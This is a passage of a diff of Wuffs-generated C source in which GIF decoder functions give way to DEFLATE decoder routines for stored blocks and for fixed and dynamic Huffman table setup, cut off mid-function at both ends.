++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_deflate__decoder__decode_huffman_slow(self, a_dst, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_end_of_block) { ++ goto label__outer__continue; + } +- self->private_impl.f_call_sequence = 96u; +- break; + } + } + +- goto ok; + ok: +- self->private_impl.p_decode_up_to_id_part1[0] = 0; ++ self->private_impl.p_decode_blocks = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_up_to_id_part1[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_decode_blocks = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_blocks.v_final = v_final; + + goto exit; + exit: +@@ -37816,18 +38920,32 @@ wuffs_gif__decoder__decode_up_to_id_part1( + return status; + } + +-// -------- func gif.decoder.decode_header ++// -------- func deflate.decoder.decode_uncompressed + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_header( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__decode_uncompressed( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c[6] = {0}; +- uint32_t v_i = 0; ++ uint32_t v_length = 0; ++ uint32_t v_n_copied = 0; + ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -37839,50 +38957,85 @@ wuffs_gif__decoder__decode_header( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_header[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_uncompressed; + if (coro_susp_point) { +- memcpy(v_c, self->private_data.s_decode_header[0].v_c, sizeof(v_c)); +- v_i = self->private_data.s_decode_header[0].v_i; ++ v_length = self->private_data.s_decode_uncompressed.v_length; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- while (v_i < 6u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_n_bits = 0u; ++ self->private_impl.f_bits = 0u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_uncompressed.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_uncompressed.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; + } +- uint8_t t_0 = *iop_a_src++; +- v_c[v_i] = t_0; + } +- v_i += 1u; ++ v_length = t_0; + } +- if ((v_c[0u] != 71u) || +- (v_c[1u] != 73u) || +- (v_c[2u] != 70u) || +- (v_c[3u] != 56u) || +- ((v_c[4u] != 55u) && (v_c[4u] != 57u)) || +- (v_c[5u] != 97u)) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_header); ++ if ((((v_length) & 0xFFFFu) + ((v_length) >> (32u - 16u))) != 65535u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__inconsistent_stored_block_length); + goto exit; + } ++ v_length = ((v_length) & 0xFFFFu); ++ while (true) { ++ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_reader( ++ &iop_a_dst, io2_a_dst,v_length, &iop_a_src, io2_a_src); ++ if (v_length <= v_n_copied) { ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ } ++ v_length -= v_n_copied; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) == 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ } else { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ } ++ } + +- goto ok; + ok: +- self->private_impl.p_decode_header[0] = 0; ++ self->private_impl.p_decode_uncompressed = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_header[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- memcpy(self->private_data.s_decode_header[0].v_c, v_c, sizeof(v_c)); +- self->private_data.s_decode_header[0].v_i = v_i; ++ self->private_impl.p_decode_uncompressed = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_uncompressed.v_length = v_length; + + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -37890,21 +39043,80 @@ wuffs_gif__decoder__decode_header( + return status; + } + +-// -------- func gif.decoder.decode_lsd ++// -------- func deflate.decoder.init_fixed_huffman + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_lsd( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__init_fixed_huffman( ++ wuffs_deflate__decoder* self) { ++ uint32_t v_i = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ while (v_i < 144u) { ++ self->private_data.f_code_lengths[v_i] = 8u; ++ v_i += 1u; ++ } ++ while (v_i < 256u) { ++ self->private_data.f_code_lengths[v_i] = 9u; ++ v_i += 1u; ++ } ++ while (v_i < 280u) { ++ self->private_data.f_code_lengths[v_i] = 7u; ++ v_i += 1u; ++ } ++ while (v_i < 288u) { ++ self->private_data.f_code_lengths[v_i] = 8u; ++ v_i += 1u; ++ } ++ while (v_i < 320u) { ++ self->private_data.f_code_lengths[v_i] = 5u; ++ v_i += 1u; ++ } ++ v_status = wuffs_deflate__decoder__init_huff(self, ++ 0u, ++ 0u, ++ 288u, ++ 257u); ++ if (wuffs_base__status__is_error(&v_status)) { ++ return v_status; ++ } ++ v_status = wuffs_deflate__decoder__init_huff(self, ++ 1u, ++ 288u, ++ 320u, ++ 0u); ++ if (wuffs_base__status__is_error(&v_status)) { ++ return v_status; ++ } ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func deflate.decoder.init_dynamic_huffman ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__init_dynamic_huffman( ++ wuffs_deflate__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_flags = 0; +- uint8_t v_background_color_index = 0; +- uint32_t v_num_palette_entries = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_b0 = 0; ++ uint32_t v_n_lit = 0; ++ uint32_t v_n_dist = 0; ++ uint32_t v_n_clen = 0; + uint32_t v_i = 0; +- uint32_t v_j = 0; +- uint32_t v_argb = 0; ++ uint32_t v_b1 = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_mask = 0; ++ uint32_t v_table_entry = 0; ++ uint32_t v_table_entry_n_bits = 0; ++ uint32_t v_b2 = 0; ++ uint32_t v_n_extra_bits = 0; ++ uint8_t v_rep_symbol = 0; ++ uint32_t v_rep_count = 0; ++ uint32_t v_b3 = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -37917,172 +39129,215 @@ wuffs_gif__decoder__decode_lsd( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_lsd[0]; ++ uint32_t coro_susp_point = self->private_impl.p_init_dynamic_huffman; + if (coro_susp_point) { +- v_flags = self->private_data.s_decode_lsd[0].v_flags; +- v_background_color_index = self->private_data.s_decode_lsd[0].v_background_color_index; +- v_num_palette_entries = self->private_data.s_decode_lsd[0].v_num_palette_entries; +- v_i = self->private_data.s_decode_lsd[0].v_i; ++ v_bits = self->private_data.s_init_dynamic_huffman.v_bits; ++ v_n_bits = self->private_data.s_init_dynamic_huffman.v_n_bits; ++ v_n_lit = self->private_data.s_init_dynamic_huffman.v_n_lit; ++ v_n_dist = self->private_data.s_init_dynamic_huffman.v_n_dist; ++ v_n_clen = self->private_data.s_init_dynamic_huffman.v_n_clen; ++ v_i = self->private_data.s_init_dynamic_huffman.v_i; ++ v_mask = self->private_data.s_init_dynamic_huffman.v_mask; ++ v_n_extra_bits = self->private_data.s_init_dynamic_huffman.v_n_extra_bits; ++ v_rep_symbol = self->private_data.s_init_dynamic_huffman.v_rep_symbol; ++ v_rep_count = self->private_data.s_init_dynamic_huffman.v_rep_count; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_lsd[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { ++ v_bits = self->private_impl.f_bits; ++ v_n_bits = self->private_impl.f_n_bits; ++ while (v_n_bits < 14u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint32_t t_0 = *iop_a_src++; ++ v_b0 = t_0; ++ } ++ v_bits |= (v_b0 << v_n_bits); ++ v_n_bits += 8u; ++ } ++ v_n_lit = (((v_bits) & 0x1Fu) + 257u); ++ if (v_n_lit > 286u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_literal_length_code_count); ++ goto exit; ++ } ++ v_bits >>= 5u; ++ v_n_dist = (((v_bits) & 0x1Fu) + 1u); ++ if (v_n_dist > 30u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance_code_count); ++ goto exit; ++ } ++ v_bits >>= 5u; ++ v_n_clen = (((v_bits) & 0xFu) + 4u); ++ v_bits >>= 4u; ++ v_n_bits -= 14u; ++ v_i = 0u; ++ while (v_i < v_n_clen) { ++ while (v_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_lsd[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 8) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ uint32_t t_1 = *iop_a_src++; ++ v_b1 = t_1; + } ++ v_bits |= (v_b1 << v_n_bits); ++ v_n_bits += 8u; + } +- self->private_impl.f_width = t_0; ++ self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = ((uint8_t)((v_bits & 7u))); ++ v_bits >>= 3u; ++ v_n_bits -= 3u; ++ v_i += 1u; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_lsd[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { ++ while (v_i < 19u) { ++ self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = 0u; ++ v_i += 1u; ++ } ++ v_status = wuffs_deflate__decoder__init_huff(self, ++ 0u, ++ 0u, ++ 19u, ++ 4095u); ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; ++ } ++ v_mask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); ++ v_i = 0u; ++ while (v_i < (v_n_lit + v_n_dist)) { ++ while (true) { ++ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_mask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ if (v_n_bits >= v_table_entry_n_bits) { ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_lsd[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 8) { +- t_1 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ uint32_t t_2 = *iop_a_src++; ++ v_b2 = t_2; + } ++ v_bits |= (v_b2 << v_n_bits); ++ v_n_bits += 8u; + } +- self->private_impl.f_height = t_1; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if ((v_table_entry >> 24u) != 128u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- uint8_t t_2 = *iop_a_src++; +- v_flags = t_2; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_table_entry = ((v_table_entry >> 8u) & 255u); ++ if (v_table_entry < 16u) { ++ self->private_data.f_code_lengths[v_i] = ((uint8_t)(v_table_entry)); ++ v_i += 1u; ++ continue; + } +- uint8_t t_3 = *iop_a_src++; +- v_background_color_index = t_3; +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src++; +- v_i = 0u; +- self->private_impl.f_has_global_palette = ((v_flags & 128u) != 0u); +- if (self->private_impl.f_has_global_palette) { +- v_num_palette_entries = (((uint32_t)(1u)) << (1u + (v_flags & 7u))); +- while (v_i < v_num_palette_entries) { ++ v_n_extra_bits = 0u; ++ v_rep_symbol = 0u; ++ v_rep_count = 0u; ++ if (v_table_entry == 16u) { ++ v_n_extra_bits = 2u; ++ if (v_i <= 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_repetition); ++ goto exit; ++ } ++ v_rep_symbol = ((uint8_t)(self->private_data.f_code_lengths[(v_i - 1u)] & 15u)); ++ v_rep_count = 3u; ++ } else if (v_table_entry == 17u) { ++ v_n_extra_bits = 3u; ++ v_rep_symbol = 0u; ++ v_rep_count = 3u; ++ } else if (v_table_entry == 18u) { ++ v_n_extra_bits = 7u; ++ v_rep_symbol = 0u; ++ v_rep_count = 11u; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } ++ while (v_n_bits < v_n_extra_bits) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { +- t_4 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); +- iop_a_src += 3; +- } else { +- self->private_data.s_decode_lsd[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_lsd[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); +- if (num_bits_4 == 16) { +- t_4 = ((uint32_t)(*scratch >> 40)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)); +- } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_argb = t_4; ++ uint32_t t_3 = *iop_a_src++; ++ v_b3 = t_3; + } +- v_argb |= 4278190080u; +- self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); +- self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); +- self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); +- self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); +- v_i += 1u; ++ v_bits |= (v_b3 << v_n_bits); ++ v_n_bits += 8u; + } +- if (self->private_impl.f_quirks[2u]) { +- if ((v_background_color_index != 0u) && (((uint32_t)(v_background_color_index)) < v_num_palette_entries)) { +- v_j = (4u * ((uint32_t)(v_background_color_index))); +- self->private_impl.f_background_color_u32_argb_premul = ((((uint32_t)(self->private_data.f_palettes[0u][(v_j + 0u)])) << 0u) | +- (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 1u)])) << 8u) | +- (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 2u)])) << 16u) | +- (((uint32_t)(self->private_data.f_palettes[0u][(v_j + 3u)])) << 24u)); +- } else { +- self->private_impl.f_background_color_u32_argb_premul = 77u; ++ v_rep_count += ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_n_extra_bits)); ++ v_bits >>= v_n_extra_bits; ++ v_n_bits -= v_n_extra_bits; ++ while (v_rep_count > 0u) { ++ if (v_i >= (v_n_lit + v_n_dist)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); ++ goto exit; + } ++ self->private_data.f_code_lengths[v_i] = v_rep_symbol; ++ v_i += 1u; ++ v_rep_count -= 1u; + } + } +- while (v_i < 256u) { +- self->private_data.f_palettes[0u][((4u * v_i) + 0u)] = 0u; +- self->private_data.f_palettes[0u][((4u * v_i) + 1u)] = 0u; +- self->private_data.f_palettes[0u][((4u * v_i) + 2u)] = 0u; +- self->private_data.f_palettes[0u][((4u * v_i) + 3u)] = 255u; +- v_i += 1u; ++ if (v_i != (v_n_lit + v_n_dist)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); ++ goto exit; ++ } ++ if (self->private_data.f_code_lengths[256u] == 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__missing_end_of_block_code); ++ goto exit; ++ } ++ v_status = wuffs_deflate__decoder__init_huff(self, ++ 0u, ++ 0u, ++ v_n_lit, ++ 257u); ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; ++ } ++ v_status = wuffs_deflate__decoder__init_huff(self, ++ 1u, ++ v_n_lit, ++ (v_n_lit + v_n_dist), ++ 0u); ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; + } ++ self->private_impl.f_bits = v_bits; ++ self->private_impl.f_n_bits = v_n_bits; + + goto ok; + ok: +- self->private_impl.p_decode_lsd[0] = 0; ++ self->private_impl.p_init_dynamic_huffman = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_lsd[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_lsd[0].v_flags = v_flags; +- self->private_data.s_decode_lsd[0].v_background_color_index = v_background_color_index; +- self->private_data.s_decode_lsd[0].v_num_palette_entries = v_num_palette_entries; +- self->private_data.s_decode_lsd[0].v_i = v_i; ++ self->private_impl.p_init_dynamic_huffman = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_init_dynamic_huffman.v_bits = v_bits; ++ self->private_data.s_init_dynamic_huffman.v_n_bits = v_n_bits; ++ self->private_data.s_init_dynamic_huffman.v_n_lit = v_n_lit; ++ self->private_data.s_init_dynamic_huffman.v_n_dist = v_n_dist; ++ self->private_data.s_init_dynamic_huffman.v_n_clen = v_n_clen; ++ self->private_data.s_init_dynamic_huffman.v_i = v_i; ++ self->private_data.s_init_dynamic_huffman.v_mask = v_mask; ++ self->private_data.s_init_dynamic_huffman.v_n_extra_bits = v_n_extra_bits; ++ self->private_data.s_init_dynamic_huffman.v_rep_symbol = v_rep_symbol; ++ self->private_data.s_init_dynamic_huffman.v_rep_count = v_rep_count; + + goto exit; + exit: +@@ -38093,185 +39348,299 @@ wuffs_gif__decoder__decode_lsd( + return status; + } + +-// -------- func gif.decoder.decode_extension ++// -------- func deflate.decoder.init_huff + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_extension( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_label = 0; ++wuffs_deflate__decoder__init_huff( ++ wuffs_deflate__decoder* self, ++ uint32_t a_which, ++ uint32_t a_n_codes0, ++ uint32_t a_n_codes1, ++ uint32_t a_base_symbol) { ++ uint16_t v_counts[16] = {0}; ++ uint32_t v_i = 0; ++ uint32_t v_remaining = 0; ++ uint16_t v_offsets[16] = {0}; ++ uint32_t v_n_symbols = 0; ++ uint32_t v_count = 0; ++ uint16_t v_symbols[320] = {0}; ++ uint32_t v_min_cl = 0; ++ uint32_t v_max_cl = 0; ++ uint32_t v_initial_high_bits = 0; ++ uint32_t v_prev_cl = 0; ++ uint32_t v_prev_redirect_key = 0; ++ uint32_t v_top = 0; ++ uint32_t v_next_top = 0; ++ uint32_t v_code = 0; ++ uint32_t v_key = 0; ++ uint32_t v_value = 0; ++ uint32_t v_cl = 0; ++ uint32_t v_redirect_key = 0; ++ uint32_t v_j = 0; ++ uint32_t v_reversed_key = 0; ++ uint32_t v_symbol = 0; ++ uint32_t v_high_bits = 0; ++ uint32_t v_delta = 0; + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ v_i = a_n_codes0; ++ while (v_i < a_n_codes1) { ++ if (v_counts[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] >= 320u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_counts[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_i += 1u; + } +- +- uint32_t coro_susp_point = self->private_impl.p_decode_extension[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_label = t_0; ++ if ((((uint32_t)(v_counts[0u])) + a_n_codes0) == a_n_codes1) { ++ return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); ++ } ++ v_remaining = 1u; ++ v_i = 1u; ++ while (v_i <= 15u) { ++ if (v_remaining > 1073741824u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + } +- if (v_label == 249u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_gif__decoder__decode_gc(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- status = wuffs_base__make_status(NULL); +- goto ok; +- } else if (v_label == 255u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_gif__decoder__decode_ae(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; ++ v_remaining <<= 1u; ++ if (v_remaining < ((uint32_t)(v_counts[v_i]))) { ++ return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_over_subscribed); ++ } ++ v_remaining -= ((uint32_t)(v_counts[v_i])); ++ v_i += 1u; ++ } ++ if (v_remaining != 0u) { ++ if ((a_which == 1u) && (v_counts[1u] == 1u) && ((((uint32_t)(v_counts[0u])) + a_n_codes0 + 1u) == a_n_codes1)) { ++ v_i = 0u; ++ while (v_i <= 29u) { ++ if (self->private_data.f_code_lengths[(a_n_codes0 + v_i)] == 1u) { ++ self->private_impl.f_n_huffs_bits[1u] = 1u; ++ self->private_data.f_huffs[1u][0u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[v_i] | 1u); ++ self->private_data.f_huffs[1u][1u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[31u] | 1u); ++ return wuffs_base__make_status(NULL); ++ } ++ v_i += 1u; + } +- status = wuffs_base__make_status(NULL); +- goto ok; + } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_under_subscribed); ++ } ++ v_i = 1u; ++ while (v_i <= 15u) { ++ v_offsets[v_i] = ((uint16_t)(v_n_symbols)); ++ v_count = ((uint32_t)(v_counts[v_i])); ++ if (v_n_symbols > (320u - v_count)) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- status = wuffs_gif__decoder__skip_blocks(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ v_n_symbols = (v_n_symbols + v_count); ++ v_i += 1u; ++ } ++ if (v_n_symbols > 288u) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ } ++ v_i = a_n_codes0; ++ while (v_i < a_n_codes1) { ++ if (v_i < a_n_codes0) { ++ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + } +- if (status.repr) { 